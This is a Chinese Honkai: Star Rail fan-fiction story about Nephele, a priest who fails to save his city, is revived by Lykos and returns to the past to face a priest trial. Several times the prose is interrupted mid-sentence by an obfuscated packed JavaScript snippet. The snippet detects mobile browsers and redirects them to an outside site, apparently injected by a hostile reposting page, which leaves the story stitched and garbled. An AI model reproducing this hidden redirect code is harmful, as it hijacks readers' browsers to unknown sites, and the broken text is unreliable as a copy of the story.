《【崩铁/单翁法罗斯】并非英雄传说》 1. 预言的使者 随着黑潮冲刷过这座无名城邦最后的街道，异人形的异种怪物在涅斐勒背后发出阵阵呢喃，涅斐勒，一个直到今天还在过着普通生活的年轻人，逐渐被这种场面冲击到双腿发软。 但不知是从哪里借来的力气，现在的涅斐勒在夺命奔跑着。城邦上空的蔚蓝天幕不知何时被帷幕般的暗夜取代，荧荧星斗伴着孤悬银月，这方景色与地表化作血海的城邦交相辉映，涅斐勒的脚步声在杂乱无章的街道中响起，似乎显得格格不入。 这是一场天灾。是「黑潮」将死亡与荒芜带到了这个世界，带到了年轻人的面前。 使者，这是你的命运。记忆里陌生的祭司曾说道，你脚下的城邦注定会覆灭在汹涌的黑潮里，成为历史残酷的证明之一。 涅斐勒站在使者群聚的殿堂前，眼看着祭司为她的话付出了代价。 “使者，这就是我的预言。”祭司离开前说，“无论我的结局如何，都请你聆听——为了使你相信我，我愿用我的生命换取窥见第二道预言的权力——在那漆黑的潮水漫过城邦前，请你登上城楼的顶部，在那里呼唤吾神的指引，令祂为你带来救赎。” 她的话应验了。那一日，大风暴席卷了这座高山上的孤城，悬崖边的城墙上，一座高楼在此巍然伫立。 涅斐勒拿出钥匙——作为城内最优秀的使者，被众人信赖，誉为最有天赋「聆听神明启示」的大祭司候选，他已无数次很跟随导师的步伐登上高塔一窥头顶的星辰。那位老者在生命的最后将钥匙连同拯救些什么的希望一并给了他，在学宫石柱旁的台阶上因为流血的腹部永远闭上了眼。 进入高塔，涅斐勒抬起头望去，黑暗的塔楼内坚固的石阶绕着中央的支柱向着塔顶螺旋上升。 “——塔顶。哈，塔顶。” 涅斐勒深深呼吸，想象着往日带着期盼登塔的感觉，逼迫自己朝上走去。 城邦的使者们总是穿着银白的衣袍，镶嵌瓦蓝色的花边，把代表天空之泰坦的图腾用同样材质的金线绣成双层纹样。 既然这座城邦身处信仰天空之泰坦的城邦群落里，所以祭司所说的吾神大概就是天空之泰坦「艾格勒」吧。 如预言般，涅斐勒走上高塔。 一推开狭窄的木门，如泰坦嘶吼般咆哮的狂风霎时间扑面而来，涅斐勒的呼吸消失在弥漫着铁锈味的风里，被迫紧闭眼睛。 他仿佛听到了自潮水里漂浮而来的怪物的嘲笑，不由得笑了声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438451|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 让从乡下来到城邦里学习，拼命掌握和神谕、神迹有关的知识，这种努力可不是让人寻开心的。只可惜命中注定他没有战斗的才能，否则不需要靠神出手，只靠自己，哪怕拼上性命，也绝不会让这些东西玷污翁法罗斯的土地。 银袍的年轻人扯下瓦蓝色的斗篷，逆着倒推的风力，努力在荒芜的塔中站定，抬起头，对着灰云汇聚的彼方高空低声吟诵自幼时就被已你铭刻于心的「祷言」： 「神圣之天，吾等之父，天空的艾格勒啊，请您垂听吾等的祈祷——」 「我以第一万九千九百九十九次的死亡为祭品，恳请赎回您失落的权柄——」 「让断绝于此的光明再现，让吾等信徒虔诚的魂灵重生——」 胸前悬挂的翡翠宝石吊坠发出刺目的光芒，涅斐勒立刻将其从脖子上摘下，向着典籍中艾格勒所在的天空高高举起。 狂风里，一阵刺破天穹的如水光芒自塔顶冲天而起，以其为中心向着四周扩散，阴云触之即溃。当光芒散去，城邦的一砖一瓦都光洁如新。绿叶舒展开，雨水浇灌了这座新生的城市，正如传说里天空的神祇为人类降下的祝福。 唯独用祈祷带来这些的使者，不再留在原地。 2. 决定 总有艺术家在死后才得享盛名，总有英雄在失败之后才受到尊敬。 涅斐勒，当他作为无名城邦的使者流浪至奥赫玛后，方才知晓：当年他并没有拯救自己的城邦，虔心祈祷换来的神迹仅是将城墙重建而已。 而城邦的民众，照他在大道旁遇到的奥赫玛商贩宣称的话：“无名城邦的来客？我们只见过你一个。”他们恐怕早已葬身黑潮中。 “所以，那座城里发生了什么？”涅斐勒接着问，“别告诉我什么都没发生！” 商贩无果，只好把他知道的简要道出。 “你的意思是，那时候，那位无名之城的祭司费半天力，只是给城墙做了次重建？” 涅斐勒自嘲道，进入奥赫玛前，为了隐藏身份，减少麻烦，他选择褪去衣袍，只穿着最朴素的布衫进入圣城。如今看来，这很有先见之明。让他在面对不明就里的奥赫玛人对「自己」的嘲讽时可以装作听不懂，给那位无能为力的年轻祭司——也就是他自己留一点薄面。 商贩看出了涅斐勒的讽刺，而涅斐勒也知道他一定看出了自己的讽刺。那讽刺如此刺骨，语气背后透着鲜血淋漓，不太可能来自一个从他人口中听闻他人故事的人。 商贩不动声色地问：“所以，你的确是那座城里的人？” “我是。”涅斐勒回答。 商贩的表情有些古怪，涅斐勒猜到他一定有什么目的瞒着自己。但是在奥赫玛涅斐勒不是众人敬仰的祭司，只是一个外来的流民，况且他还身无分文。 正因如此，只要这个商贩不想，此时此刻涅斐勒没有任何办法撬开他的嘴。 商贩打量起涅斐勒，从这个年轻人隐隐透着孤单的阴沉眼神里，他明白了什么。 “你是。” 听到这话，商贩放下了手里的商品，在他的摊位里，一只只大小不一的陶罐摆在一起，罐面上的花纹闪着光辉。 “——我这么说吧，孩子，”商贩说道，“你这种事在这个年代并不新鲜，而你，一定得想办法活下去。” 他指向身后的白垩之墙。 “你眼前的奥赫玛就是个不错的地方。” 涅斐勒摇摇头：“奥赫玛吗？不必了。” 在他出生时，就饱受脑海里鼓动的「天音」困扰。如果不是无名之城的使者们接纳他，教导他神谕的知识，现在他恐怕早已因为不可控制的天音染上疯病，人见人嫌，终日在危机四伏的荒野流浪，过着从野狼和怪鸟的口中捡食，绝望到难以想象的日子，哪里会有机会做如今的选择。 “我并非奥赫玛人。”涅斐勒说。 商贩没想到涅斐勒的决心如此坚定，但想到城外的一切，他忍不住追问年轻人：“那你的意思是，你打算在城外流浪？” 从结果来看，涅斐勒失败了，哪怕他已经按照祭司留下的预言谨慎地行动，却还是什么都没能改变。这么看预言大概一开始就是一半真一半假。它给了人绝望，又给了人希望，但是到最后绝望无比真实，希望却是假的。命运就这样发生了逆转，涅斐勒的城邦毁灭了，他的身份一坠到底。以至于如今到了需要在保有自己作为祭司的尊严和过难以温饱的流浪生活中选择。 涅斐勒在自己的脑中找寻着办法，为了避免命运的天平被它们任何一方压垮。但很遗憾，他承认自己无计可施。 涅斐勒叹了口气，嘴角带着苦涩的盈盈笑意对商贩说： “我想，我不愿意，我只是「宁愿」做个流浪者，来履行我作为祭司的职责。” 那个上午，聆听涅斐勒打算的人只有这个在奥赫玛街边叫卖的商贩。随着日后这个决定意义的逐渐显露，涅斐勒作为人类的命运沾染上了不该存在的色彩。 仅仅为了给死去的人一个交代，去做那个推石上山的愚勇之人……从很长一段时间来看，准确地说，是直到名为涅斐勒的人类在黑潮和光阴的交相打击中含恨死去，这个决定似乎都没能给他带来什么好事。 然而，这样的悲剧仅仅存在于生前。死后，在灵魂离体的恍惚中，涅斐勒再一次听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438452|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那阵冰冷的「天音」。 “涅斐勒阁下，你「醒」了。” 涅斐勒睁开眼，从未见过的璀璨银河跃入眼帘。水流缓慢地淌过他的身体，这时他发现自己正倒在一处从未见过的地方，地上的水潭倒映着天空中的漫天星辰，镶金的水池盛放着冷冽的泉水，似乎只是看着那里面的倒影就能获得内心的平静。 眼前出现的智械状生命令涅斐勒一阵惊讶，毕竟根据他学到的历史，这类被叫做安提基色拉的智械生命早在多年以前翁法罗斯的黄金战争中就几乎灭绝了。 而更令他意外的，是临死之前形近枯槁的身体也恢复了活力。涅斐勒站起身体，看向那个安提基色拉人。 “很抱歉问你这个问题，但是……我在哪里？我这是……” 安提基色拉人不存在表情变化的机械面部里发出一阵轻笑。 “吕枯耳戈斯，涅斐勒阁下，我叫吕枯耳戈斯。请唤我「来古士」便好。” 涅斐勒发现，「来古士」的声音在物理上竟和他耳边低语的「天音」极为一致。 “为了使我们的谈话得以在理性层面上成立，我想涅斐勒阁下需要先掌握一些常识。” 几分钟前，这令人意外的一切的确让涅斐勒感到混乱。但随着意识的回炉，他找回了思考的能力，充分理解了两件事： 无论其意义是好是坏，他最好都不要就此对这些不寻常视而不见。 以及眼前的机械生命来古士表现相当从容，看起来像是知道什么。 ”你愿意和我交流，而我当然不会拒绝，先生。你言语中的智慧证明了你的不凡，说明你值得我的尊重。”涅斐勒说，“但是在那之前，我希望能从你这里得知一个问题。现在是几千几几年？” “嗯……”来古士沉吟着，显然在用他精密的机器大脑进行着数不清的逻辑运算，半晌，他给出了涅斐勒没能想到的答案。 “按照相对权威的宇宙历法进行计算，现在正是以「琥珀纪」描述的琥珀2157纪。” 3. 天外银河 “宇宙、琥珀纪……？” 毫无铺垫地，翁法罗斯的「真相」在涅斐勒的耳中炸开。涅斐勒不清楚原因，明明是语系以外的词，却能迅速地读出来。来古士适时地伸出手，涅斐勒立刻握住它。 “看来你希望从我身上得到答案，而我也已表明愿意让你从我身上得到答案。”来古士说，“或许这意味着：你有了一条理由去信任我的存在。” 随着来古士的话音落下，涅斐勒感受到自己与他相握的手泛上透明，他的手臂渐渐如同被清水洗刷的彩窗画般，透明的外壳中荡漾着不同颜色的亮丽油墨。一束光线在他的身体中折射、跳跃、碰撞，闯入意识，在他的灵魂里留下大量的信息。 大量的信息，讲述了宇宙文明已知的星海历史。从太古的寰宇起，涵盖银河中几乎所有文明加在一起所能触及的认知界域，他看到宇宙的爆炸和「星神」的诞生，看到命途交缠书写星球和物种的命运，看到科技的力量带来繁荣和战争，看到宇宙的智者抛出解答宇宙命题的第一枚硬币，看到一条被标识为「开拓」的旅途横贯整个昏沉的太空。 太多，信息实在是太多。在量以兆计的信息洪流冲刷下，涅斐勒开始怀疑自己的存在。当个体对「自己」的认知被大量对「世界」的认知挤压，那么在意识层面自己也将死亡。此时，生命将成为一座为执行「理解世界」这条指令而不断运作的计算机。涅斐勒在信息之海里沉沉浮浮，因为预见，所以抵抗着这样的命运。 涅斐勒沉默着，油墨般的溢彩渐渐从他的体表消失，如颗颗滚石沉没在一汪水潭深处的过程般，涅斐勒的身体荡起涟漪——就如字面那般，他的身体自那次握手后变成了另一种物质，类似有弹性的气泡，在凹陷弹起的过程中，逐渐理解、包裹、吸收了物质化的信息流。在火彩般闪耀的波光间涅斐勒看到了什么，但更像是什么看到了他——一道庞大身影，浑身闪烁着冰冷的光泽。只一眼，涅斐勒就感觉那耀眼而尊贵的存在充分理解了自己，自己的影子出现在银河未知角落的宫殿中。 这奇妙的体验很快结束了。来古士开口道：“涅斐勒阁下，也许你现在有话想说？” “……”对自己意识里发生的一切，涅斐勒显然有所知觉，所以他问道：“来古士……我是谁？我是——我现在是，什么东西？” 来古士通过自己的感知模块放大了涅斐勒的瞳孔变化，清楚地捕捉到涅斐勒颤抖的眼球和渐渐不规律化的脉搏。根据他记录的数据，他有理由相信，眼前的人类正处在程度剧烈的心理波动中。而且，从人类说完一句话后便不再言语的表现看，人类正处于对他身份立场的怀疑、或是接受大量信息产生的「眩晕症」中的可能性相当之高。 “请不必担心，涅斐勒阁下，我正是为了回答这个问题出现在你的面前。”根据做出的判断，来古士启动了五万条逻辑链，并选择了其中的两条调整自己的行为，“可以认为，你现在是从翁法罗斯中诞生的令使，行走在记忆星神浮离所处的命途上。” 令使？所以那意味着什么？涅斐勒虽然不敢去想，但他的注意显然去往了远处的翁法罗斯中。 “这和你给我的证据自相矛盾。”用剩余的理智和多年努力徒劳无功的悲观，涅斐勒反驳道，同时带着一阵浅浅的嘲笑，“我不是什么记忆令使，只是宇宙边缘一颗无人踏足的封闭星球上，连履行自己使命都做不到的没什么用的人。” 虽然这是涅斐勒的真心话，但这显然不是涅斐勒唯一想说的话。比起自我否认，涅斐勒这番话更多在暗讽所谓的星神。何苦要选择我这个偏远星球出身的普通人，期望得到你祝福的人不是要多少有多少吗？既然你选择祝福了我，为什么偏偏是在失败已成定局之后？在我绝望徘徊的一千年里，你只是在翁法罗斯的天外银河中看着我吗？ 看出涅斐勒的抗拒之意，来古士经过分析，选择给到他更多的信息。 来古士摊开手：“涅斐勒阁下，很抱歉，因为种种原因，我没办法告诉你全部真相。但请你相信，这份祝福对你和我来说都有意义，而这正是我将你「唤醒」的原因之一。” 涅斐勒问：“如果你说的是真的，将我唤醒又等在这里，到底有什么事要找我？” “翁法罗斯在宇宙中的位置是什么？” 来古士伸出手，在他闪动着金属光泽的指尖，名为「宇宙」的概念渐渐显现。庞大的星系是他掌心的一处三角，诸多的星球是位于几何切线黄金分割点上的动点。 “假如把银河迄今为止的文明比做一座覆盖寰宇的图书馆，”来古士一边说道，一边移动机械构成的手，“那么「翁法罗斯」大概就是其中的一本图书。” 涅斐勒平静地说：“而这是一本还在连载的故事，偏偏你是这个故事的「编辑师」。” 涅斐勒想了想。 “黑潮降临、文明毁灭……来古士，你想要的「结局」是什么？” “请允许我借用你的比喻阐明概念，涅斐勒阁下。”来古士没有直接反驳涅斐勒给出的话题，而是循序渐进地说明：“你所在的故事阶段，是连「开头」都称不上的「序章」。” 涅斐勒不置可否，来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438453|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古士大概是在向他表示将城邦毁灭的罪责丢到他身上是不合理的吧，但是事实如何，谁又知道呢？ 涅斐勒说：“来古士，我很高兴你能这么说，毕竟这样我也许还有希望做点什么……为我生长的星球，为我脚下的翁法罗斯。” “这令我惊讶，涅斐勒阁下。”尽管来古士这么说，但涅斐勒可没有从他脸上看到所谓的惊讶。“如我所观察的，对于翁法罗斯，你的确是一个特殊的个体。但以人类的基准判断，你同样极度地忠诚于自己的使命。请恕我以自己的好奇心向你提问，看到这世界以外的一切，你难道就没有萌生过离开翁法罗斯的念头吗？” “我在倾听艾格勒的神谕时，偶然听说过探寻天外者的故事。”涅斐勒底油看着自己的手指，被注视感觉仍残留在那处，“但我自己从没想到达翁法罗斯之外。不过，我也没想过翁法罗斯的天外居然会是这样一副景象。” “……”来古士计算了一番，“看来，我为你做的准备反倒是提高概率了。” “概率？哈，我懂了。你是在计算我走出翁法罗斯，目睹寰宇，改变心意的概率。” 涅斐勒笑着摇了摇头，看向背后的无垠宇宙。万千星斗如坠涡流一般向着远处盘桓而去，神秘和肃穆化为实质的光明在他眼前流淌。 “不过，不必了。我从没打算离开。”涅斐勒说，“用「特权」给我一次重来的可能，这机会对我来说无疑是最昂贵的东西。” 涅斐勒抚上胸口。 “你希望我回到翁法罗斯，我希望你让我回到翁法罗斯，看起来我们达成了共识。” 来古士沉默着。暂时，连他也无法完全计算假如任由一个令使进入以记忆为基底浮游宇宙的翁法罗斯究竟会带来什么，更何况这位年轻的令使还完全没有意识到他受赐的权柄。而他作为翁法罗斯的「守护者」，也仅仅是以从涅斐勒身上观察到的对于毁灭黑潮的渴望为依据，保持着不与其起剧烈冲突的立场，默许他为这个世界带来改变罢了。 “涅斐勒阁下，在你回到那片土地前，我要提醒你，”来古士在涅斐勒翻入水池的前一秒开口说：“无论你想做什么，不要打破翁法罗斯的枷锁，不要放出被封印于星球深处的那种「存在」。否则，到了那一天，我们会因为你的选择而成为不死不休的敌人。” 涅斐勒认为来古士所说的「存在」是黑潮，他嗤笑一声。 “放心吧，我没有理由这样做。今天没有，这辈子也不会。” 涅斐勒的身影消失在水中，人类融化在清泉里，只留下一抹珀蓝水色。 4. “黄金世，光历572年” 酣眠。漫长的迷梦化作微笑吻别的薄暮从涅斐勒的记忆中远去，他睁开眼，温暖的阳光正从地面爬上床边，缓缓地落到他的脸上。 涅斐勒从熟悉的矮床上坐起，鸟叫和水声从屋外传来。看着窗外属于翁法罗斯的景色，涅斐勒松了口气：他确实回来了。 之前的一切就像一场梦。 算了，先别想这么多了。涅斐勒决定先行动起来。他习惯性抓起放在床边的“长袍”——抓了个空。扫过空空如也，只抓到一把空气的手，涅斐勒皱起眉，走下床，看向屋内伫立的镜子。 涅斐勒拍拍揉揉自己的脸：“……”触感正常，镜子里的这个人是自己。 涅斐勒满意地放下了手。太好了，想的事没有发生。怎么可能去天外逛一圈，一个人就变成了另一个人呢？ 屋外晴空万里，万物生长，熟悉的无暇白昼，是艾格勒赐予人类最好的礼物之一。 行走于阳光围绕的大地，涅斐勒心满意足地坐在路边的雪白石阶上。 过了几分钟，抱着一只陶盆的孩子大哭着从涅斐勒眼前跑走，跑到一半被涅斐勒放在地上的腿猛地绊倒，手里的盆险些被扔了出去。幸好在松手的前一秒，孩子止住哭泣拽了一把陶盆。 盆内，花朵颤巍巍地摇晃着，皱巴巴的叶子像一块用旧的抹布般可怜。 涅斐勒沉默，“……你还好吧？” 涅斐勒伸手拉了他一把。起身间，孩子看到涅斐勒胸前的宝石挂饰，睁大眼。 “你是祭司吗？” 涅斐勒挑眉：“我当然是。” 孩子把盆举起来，急匆匆道：“这是我的花，它快死了……希望你帮我看看它！” “你确定？我不记得我学到的「神迹」有给植物恢复精神的部分，”尽管这么说，涅斐勒还是叹了口气，做好施展神迹的准备，“我觉得这是理性泰坦的权柄……不过，算了。” 涅斐勒摘下宝石吊坠，把宝石放在花朵的上方，轻声吟诵起咒文。 “怎么样？”孩子追问。 涅斐勒沉默，涅斐勒再次吟颂咒文。 孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438454|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目不转睛地看着盆里的花，在正午的太阳底下，它似乎蔫得更厉害了。 “嘁，原来是骗子。” 失望的孩子将失去花朵的不满发泄到无辜的年轻人身上，抱着花盆跑走了。 涅斐勒：“……”真没礼貌。这小孩的信仰课成绩绝对很差劲。 年轻人收起了吊坠，这东西对涅斐勒来说是绝不能失去的珍宝。不仅因为自己「施展」神迹需要它的辅助，更因为它是涅斐勒和无名之城重要的联结。 涅斐勒走到街边。眼前明明是「无名之城」的繁荣景象，但处处透露着诡异。 他拦下一个路人问：“现在是多少年？” “……？”路人用打量傻子的眼神打量眼前的年轻人，慷慨地回答道：“光历572年。话说你是新来的？我怎么没在城里看过你？” 涅斐勒深吸一口气，摇摇头，他已经弄清自己身上发生了什么。 “是，我是新来的。”涅斐勒说。 “提个建议，你们……应该让你们的后辈受到教育。” 5. 太坏了，我完蛋了 太好了，涅斐勒逐渐理解了一切。 涅斐勒环视四周。他正站在无名之城的主干道上，顺着这条路能从城门直接登上山顶的神殿。由于他，准确来说现在是上辈子的他经常要走这条路去神殿，所以对这条路的情况十分熟悉。 涅斐勒本打算第一时间回神殿看看，但现在遇到了点儿麻烦：他现在身份不明，这个时代没人认识自己，又没法使用神迹。假如被神殿的祭司抓到他绝对会惹上麻烦。毕竟翁法罗斯可不是什么和平的旅游星球。 根据他学到的历史，也就是神殿祭司们口口相传的故事，凡是处于翁法罗斯黄金世的物种都因为其存在享受着诸神赐予它们的安宁与繁荣。真正意义上的战争要等到黑潮伴着灾厄三泰坦降临方才降临。在那之前人类所要面对的灾祸，更多来自于泰坦间的矛盾跟摩擦。 涅斐勒沉默不语，迈开沉重的脚步。 来古士的声音忽然在脑子里响起，冰冷机械的「天音」说：“涅斐勒阁下，请不要忘记：您现在是一位受到星神祝福的令使。” “多谢你的提醒，来古士。”涅斐勒客气道，“但我暂时没打算改变自己的信仰。” 看出涅斐勒的抗拒，「天音」来古士笑了笑，不再言语。 走了一段路，涅斐勒停下了脚步，他看到山顶的神殿显露了一半身形，得到过静心雕刻的穹顶刻画着彰显艾格勒权柄的花纹。 大概是建成时间更短的缘故吧，眼前的神殿比起涅斐勒记忆里的塔楼要更新一点。 进入神殿，便有银袍的见习祭司来迎接他，温和地问他来自哪里，有何需要。 涅斐勒熟练地以艾格勒子民的方式像祭司表示问候，女祭司立刻变得温柔，看他的眼神仿佛是在看自己的孩子。 涅斐勒断定老师没骗自己，那位老祭司教给自己的的确是正统的神殿礼仪。 “祭司女士，我从野外的河床上找到了一枚宝石，希望能献给我们伟大的神，智慧的造物主，天空之泰坦艾格勒大人。” 涅斐勒做足心理准备，从手腕、脖子上摘下那些蓝宝石质的珠串，拿给祭司鉴定。 “你看它的光泽，难道不像艾格勒大人睁开眼睛为翁法罗斯创造的蓝天吗？” 涅斐勒感谢过去认真学习的自己。如果过去没有认真学习，那今天他绝不会知道如何讨一位信仰艾格勒的祭司欢心。 女祭司的手放在身前，打量涅斐勒的外表。蜷曲的银发、纯粹明亮的蓝眼睛——如果记忆没有在每日的歌唱和阳光中模糊，头脑没有因为泰坦和城墙的庇护变得迟钝，那么她记得，有一脉坚定信仰艾格勒的天空民拥有这样的样貌。 在那神明化作怪鸟、化作巨人伴随人类左右，风雨在海上欢唱，讴歌泰坦的黄金岁月中，有过人类的使者走上最高的高山，以姓名将神明呼唤的传说。百眼的巨鸟自高天降落，展开机械的羽翼。银袍使者将灵魂自血肉之躯掏出，血泪化作珍贵的宝石。他将灵魂和血肉献给艾格勒，许下了心愿：希望自己的身躯和灵智能够被艾格勒选中，被祂雕琢，成为祂完美神躯的一小片鳞羽。 鉴定过他给出的宝石后，女祭司一阵沉思后引荐涅斐勒进入神殿内，他欣然接受。 涅斐勒祈祷这位信徒的灵魂真的化作了艾格勒的羽毛，与那神明在天空中自在地翱翔，直到陨落。 不是他有多坏，而是因为他现在要做的事情有点违背祖宗，他怕被这位信徒当做僭越神明威严的狂徒，在他睡觉时变成鸟儿飞过来啄瞎他的眼睛。 路上，女祭司问道：“阁下，你叫什么名字？” “涅斐勒。” “涅斐勒，涅斐勒……真好听，听起来就像是艾格勒的子民。” 女祭司赞美道。 女祭司又问：“涅斐勒阁下，你和神殿石板里刻着的「银袍使者」是什么关系？” 涅斐勒边忏悔边面不改色地胡诌：“我的父母很早就离我而去了，但一直有一道声音告诉我和「他」的关系。如果那道声音没有骗我，那「他」正是我的先祖。我追随他的指引，跨越危险的密林和湍流，直到见到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438455|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座城，跟随你来到这座神殿中。” 涅斐勒看到女祭司点了头，好像对他的话深信不疑。这是有理有据的，以他学到的东西，扮演一位艾格勒的祭司简直是绰绰有余，但这不是他的目的。 自黄金世到纷争世，这近乎2000年的光阴要怎么度过，要怎么才样能最小化黑潮降临造成的灾难，就取决于接下来的结果。 神殿深处，漆黑的石室被烛火点燃，石壁上刻画着艾格勒赐下神迹的雕刻版画，祭司们用浅蓝色的颜料勾画出版画的凹陷，再用白银色的颜料点画艾格勒的每片羽毛。 不久后，有一行人出现在神殿中，都穿着一模一样的银白衣袍，只有少数人裹着不同的瓦蓝色斗篷，用不同的羽分装饰，闪烁着不一样的微光。 “涅斐勒阁下。”为首的女性声音清脆，“我就开门见山地说了——假定你知道自己的所作所为意味着什么，祭祀仪式已经为你准备好了。如果你愿意接受，那么在成功后这座神殿的一切将自愿成为你的手臂和羽翼，为你践行信仰的旅途做到所能做到的一切。” 涅斐勒平复了一下心情，点头说：“当然了，我知道。而且我也愿意接受。” 涅斐勒深知那位神明的强大与智慧、残忍和傲慢。为它准备的祭祀绝不是围着火盆跳跳舞就能搞定的事。 “如果我成功了，大祭司大人，”涅斐勒说，接过大祭司双手呈上的白银匕首，锋刃光可鉴人。“我想向你求取一样宝物。” 大祭司面不改色：“当然。这是我们宣誓的内容之一。” 得到祭司的承诺，于是，涅斐勒割下一段银发——银发羊毛般轻飘飘地掉在神殿的地上，像在菩提树下做的有关于迷离云朵间的一场浮梦一般。 通往神殿最深处的石门在祭司一同咏唱的咒文声中向着涅斐勒打开，他握紧白银匕首，接过大祭司递给他的青铜烛台，向着石门后漆黑的空间走去。 大门关闭，涅斐勒轻声祈祷： “天空之泰坦艾格勒啊……恳请您再一次眷顾您的信徒。” 6. 祭司试炼 在神殿深处的石阶下迎接涅斐勒的，正是横陈着石碗的祭坛。 那是一座巨大的石质平台，在神殿地下挖凿出一处高达十数米的空间。平台的中央立着一张约有一人大小的石床，旁边是两尊沉默的雕像侍者，一尊捧着火，另一尊空手而立，双手拱成一个小小圆弧，似乎在期待着像身旁同伴一般捧起些什么。 仔细看去，两尊雕像都面容精致，头戴月桂形的金冠，艾格勒的神殿内不乏这样精致标准的造物。 涅斐勒走过去，烛光从雕像侍者闭目不语时的手心中洒落，照在他的身上。 涅斐勒内心忐忑，走上祭坛，抽出祭司给他的白银匕首，放在掌心打量它的锋芒。 在这个神明行走于大地，神迹触手可得的时代，涅斐勒要证明他有一具被神明亲吻的身躯。 涅斐勒笑了笑，径自举起右手，将匕首的锋刃对准右臂握拳后鼓起的血管。 “神明啊，我，您最忠实的信徒涅斐勒，用这具身体的血液在这里回应您！” 他的声音回响在空无一人的石室里。涅斐勒看着祭坛上被鲜血渐渐注满的石碗，虔诚地低颂着祭司们曾教给他的祝祷之词。 选拔祭司的仪式就这样开始。一股风从神殿深处吹起，涅斐勒心中打鼓。他现在没办法施展神迹，本应被拒之门外，但他通过操控神殿祭司对自己的第一印象，诱导着让祭司们相信自己是艾格勒的使者，是和她们一样享受泰坦祝福的使者的一员。 然而他不再具有使用神迹的天赋。如果高傲的艾格勒不曾注意到他，那么涅斐勒的存在将成为成为亵渎神明本身的铁证；如果神明注意到他，那么这位虔诚的信徒，大概率会因其妄图欺瞒神明的举动付出惨重的代价，譬如说：生命。 涅斐勒心如擂鼓，将晃悠悠的石碗放到左边雕像侍者的手中，他的手正因失血过多而颤抖。 做完这些，涅斐勒后退到祭坛边缘，草草地用衣袖缠住流血的位置，单膝跪地。 “神明，请原谅您的信徒做出此种僭越的行径，”涅斐勒低下头，双眸紧闭，口中低喃着向神明倾诉的话语，“但如果，您愿意看到我对您的尊敬和爱意，请您相信我吧，”他抬起眼，眼中同时存在着坚定和请求，“请为您的孩子隐瞒这个谎言，请让他通过试炼。” 涅斐勒不能远离这座城邦，也不能远离极大程度上代表神明的祭司们。如果他那么做，就意味着在任何灾难之前，涅斐勒都将是一个无法影响任何人的过客，甚至涅斐勒会连知晓灾难的资格都被剥夺。 而那是涅斐勒不能接受的。 风从神殿深处吹过来，鲜红的血渐渐变得粘稠，一切寂静得好像涅斐勒初次来到神殿为神明献祭自己的那夜，而他也像那晚一样，只能听到重如擂鼓的心跳声。 只是，心情还是不同的。那一次是害怕凭自己的天赋不足以入神明之眼，而经历过许多，这一次的不安是因为涅斐勒根本没有所谓的祭司资质。难不成他要以从未了解过的「星神」命途伪造神迹吗？无论他会不会这么做，都不是现在该考虑的事……涅斐勒将头颅垂得更低，这世上唯此一位至高无上的存在得以仅凭祂的一切从涅斐勒这里取走他的自尊。 总而言之，涅斐勒做不出在信仰的神明面前欺骗祂的事。他宁肯冒着死亡的风险在神明眼中暴露真实又难堪的自己，去欺骗除此以外所有的生命，也不愿意用卑劣的谎言尝试僭越祂的荣光。 骤然间，狂风大作。涅斐勒咬牙，在风中压低身体。 涅斐勒知道自己平庸的才能瞒不过神明的感知，瞒不过神明乘于风中、无处不在的视线。此时此刻，唯有期待泰坦神暴虐无常的一面不至因为他的自作主张而发作。 